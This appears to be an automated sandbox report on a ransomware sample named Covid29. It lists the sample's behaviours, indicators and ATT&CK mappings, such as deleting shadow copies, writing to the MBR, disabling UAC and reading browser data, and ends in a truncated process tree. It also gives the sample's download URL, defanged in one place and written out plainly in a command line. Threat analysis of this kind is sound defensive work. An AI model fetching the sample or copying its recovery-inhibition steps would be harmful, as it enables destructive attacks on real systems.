chaos | hxxps://github[.]com/pankoza2-pl/malwaredatabase-old/raw/refs/heads/main/Covid29-Ransomware/Covid29%20Ransomware[.]zip

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4436	bcdedit.exe
4548	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5576	wbadmin.exe

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Cov29Cry.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	svchost.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
5856	mbr.exe
5880	Cov29Cry.exe
980	svchost.exe
5376	Cov29LockScreen.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2045521122-590294423-3465680274-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	raw.githubusercontent.com
26	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\johiq2ucr.jpg"	svchost.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5276-76-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/5276-141-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/5276-148-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5584	PING.EXE
5964	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
5872	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3140	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

pid	Process
5768	reg.exe
5784	reg.exe
5796	reg.exe
5812	reg.exe
5828	reg.exe
5732	reg.exe
5748	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5964	PING.EXE
5584	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
980	svchost.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
1228	msedge.exe
1228	msedge.exe
4656	msedge.exe
4656	msedge.exe
2632	identity_helper.exe
2632	identity_helper.exe
4356	msedge.exe
4356	msedge.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
5880	Cov29Cry.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe
980	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5904	shutdown.exe
Token: SeRemoteShutdownPrivilege	5904	shutdown.exe
Token: SeDebugPrivilege	5880	Cov29Cry.exe
Token: SeDebugPrivilege	980	svchost.exe
Token: SeDebugPrivilege	3140	taskkill.exe
Token: SeBackupPrivilege	5960	vssvc.exe
Token: SeRestorePrivilege	5960	vssvc.exe
Token: SeAuditPrivilege	5960	vssvc.exe
Token: SeIncreaseQuotaPrivilege	6112	WMIC.exe
Token: SeSecurityPrivilege	6112	WMIC.exe
Token: SeTakeOwnershipPrivilege	6112	WMIC.exe
Token: SeLoadDriverPrivilege	6112	WMIC.exe
Token: SeSystemProfilePrivilege	6112	WMIC.exe
Token: SeSystemtimePrivilege	6112	WMIC.exe
Token: SeProfSingleProcessPrivilege	6112	WMIC.exe
Token: SeIncBasePriorityPrivilege	6112	WMIC.exe
Token: SeCreatePagefilePrivilege	6112	WMIC.exe
Token: SeBackupPrivilege	6112	WMIC.exe
Token: SeRestorePrivilege	6112	WMIC.exe
Token: SeShutdownPrivilege	6112	WMIC.exe
Token: SeDebugPrivilege	6112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6112	WMIC.exe
Token: SeRemoteShutdownPrivilege	6112	WMIC.exe
Token: SeUndockPrivilege	6112	WMIC.exe
Token: SeManageVolumePrivilege	6112	WMIC.exe
Token: 33	6112	WMIC.exe
Token: 34	6112	WMIC.exe
Token: 35	6112	WMIC.exe
Token: 36	6112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6112	WMIC.exe
Token: SeSecurityPrivilege	6112	WMIC.exe
Token: SeTakeOwnershipPrivilege	6112	WMIC.exe
Token: SeLoadDriverPrivilege	6112	WMIC.exe
Token: SeSystemProfilePrivilege	6112	WMIC.exe
Token: SeSystemtimePrivilege	6112	WMIC.exe
Token: SeProfSingleProcessPrivilege	6112	WMIC.exe
Token: SeIncBasePriorityPrivilege	6112	WMIC.exe
Token: SeCreatePagefilePrivilege	6112	WMIC.exe
Token: SeBackupPrivilege	6112	WMIC.exe
Token: SeRestorePrivilege	6112	WMIC.exe
Token: SeShutdownPrivilege	6112	WMIC.exe
Token: SeDebugPrivilege	6112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6112	WMIC.exe
Token: SeRemoteShutdownPrivilege	6112	WMIC.exe
Token: SeUndockPrivilege	6112	WMIC.exe
Token: SeManageVolumePrivilege	6112	WMIC.exe
Token: 33	6112	WMIC.exe
Token: 34	6112	WMIC.exe
Token: 35	6112	WMIC.exe
Token: 36	6112	WMIC.exe
Token: SeBackupPrivilege	5984	wbengine.exe
Token: SeRestorePrivilege	5984	wbengine.exe
Token: SeSecurityPrivilege	5984	wbengine.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4240	NOTEPAD.EXE

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe
4656	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5376	Cov29LockScreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 2128	4656	msedge.exe	84
PID 4656 wrote to memory of 2128	4656	msedge.exe	84
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 2144	4656	msedge.exe	85
PID 4656 wrote to memory of 1228	4656	msedge.exe	86
PID 4656 wrote to memory of 1228	4656	msedge.exe	86
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87
PID 4656 wrote to memory of 3268	4656	msedge.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/pankoza2-pl/malwaredatabase-old/raw/refs/heads/main/Covid29-Ransomware/Covid29%20Ransomware.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa302e46f8,0x7ffa302e4708,0x7ffa302e4718
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
  2⤵
  PID:2144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
  2⤵
  PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
  2⤵
  PID:852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:2464
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
  2⤵
  PID:4224
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
  2⤵
  PID:3376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
  2⤵
  PID:1792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5620 /prefetch:8
  2⤵
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:2344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
  2⤵
  PID:1244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,7570879844614140859,12923496717819364198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4708 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4356

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2532

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1244

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4236

C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:5276
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\75E.tmp\TrojanRansomCovid29.bat" "
  2⤵
